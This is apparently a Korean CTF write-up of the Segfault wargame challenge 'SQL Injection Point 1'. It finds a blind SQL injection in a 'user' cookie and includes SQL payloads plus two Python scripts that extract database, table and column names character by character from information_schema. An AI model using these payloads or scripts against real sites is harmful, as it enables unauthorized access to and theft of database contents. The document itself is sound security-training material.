Wargame/Segfault
SQL Injection Point 1
sniffy-fanta
2025. 5. 30. 00:47
➡️사이트에 들어가서 flag를 찾으면 된다.
- Login버튼이 있었고 누르니 로그인페이지로 이동됐다.
- messi /123456으로 회원가입을 해줬다.
- 정상적으로 로그인 시 index.php로 리다이렉션 됐다
- 이상한값으로 로그인 시 등록되지 않은 사용자입니다 라고 알림이 뜬다.
- 쿠키를 봤을 때 로그인에 성공하면 그때 쿠키가 설정되고 쿠키값에 저장된 user가 있어야
로그인 된 index.php를 제공하는 거 같다.
- messi' and '1'='1 → 로그인 실패
- messi'# → 로그인 실패
- messi'''' → 오류 안뜸
- 일단 취약점이 없다고 판단하고 넘어갔다.
- 그 다음 마이페이지 쿠키로 user값을 주고 있다
- 서버에서 쿠키를 이용해 DB와 상호작용 할 수도 있기 때문에 취약점이 있는 지 테스트 해보자
- messi' and '1'='1 을 넣었더니 messi를 넣었을 때와 같은 응답이 나왔다.
- messi'# 을 넣었을 때도 messi와 같은 응답이 나오고 출력도 되는 거 같아서 union을 쓰기 위해 컬럼 개수를 찾아봤다.
- 2개에서 다른 응답이 왔고 컬럼 개수는 1개이다.
- 바로 union구문을 넣어줬지만 1이 출력된 곳은 없었다.
- 프론트엔드에서 단순 텍스트를 출력하는 거 같다.
- 그래도 order by구문을 사용하면서 참/거짓 일 때 응답이 다른 걸 알아냈기 때문에 Blind를 해보자
- messi' and '1'='1 → 참인 요청의 응답에 Nothing Here... 이 있다.
- 바로 select문이 되는지 테스트해봤고 정상적으로 되는 걸 확인 후 python으로 자동화 스크립트를 만들었다.
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_6/mypage.php"
flag = ""
for i in range(1,40):
found = False
for ch in range(33,127):
payload = f"messi' and ascii(substr(database(),{i},1)) = {ch} and '1'='1"
cookies = {'user': payload, 'PHPSESSID': 'u83v948050j788niick6rm8ug8'}
res=requests.get(url,cookies=cookies)
print(f"{i}:{ch} x")
if "Nothing Here..." in res.text:
flag += chr(ch)
print(f"{i}: {ch} -> {flag}")
found = True
break
if not found:
break
print(f"{flag}")
- 이제부터 DB획득 → 테이블 획득 → 컬럼획득 → 데이터추출 가보자
- 많이해서 과정은 생략한다.
➡️DB획득
➡️테이블 획득
➡️두번째 테이블 획득
➡️세번째 테이블 획득
for tbl_idx in range(0,5):
flag=""
found2=False
for i in range(1,40):
found = False
for ch in range(33,127):
payload = f"messi' and ascii(substr((select column_name from information_schema.columns where table_name='' limit {tbl_idx},1)
,{i},1)) = {ch} and '1'='1"
cookies = {'user': payload, 'PHPSESSID': 'pbvl4hg2l16v9g6qmra5spl7k3'}
res=requests.get(url,cookies=cookies)
print(f"{tbl_idx+1}:{i}:{ch} x")
if "Nothing Here..." in res.text:
flag += chr(ch)
print(f"{tbl_idx+1}:{i}: {ch} -> {flag}")
found = True
found2 = True
break
if not found:
break
tables.append(flag)
if not found2:
break
print(f"목록:{tables}")
- 너무 귀찮아서 limit도 자동화로 만들고 목록을 그냥 리스트로 만들었다..
- 참고로 작성하면서 세션ID가 초기화 되니까 바꿔줘야된다.
- 학점은행제 하면서 알고리즘 조금 봤는데 이진탐색이라고 있던데 나중엔 알고리즘 구현을 해봐야겠다..넘 느리다
➡️컬럼들 획득
➡️플래그 획득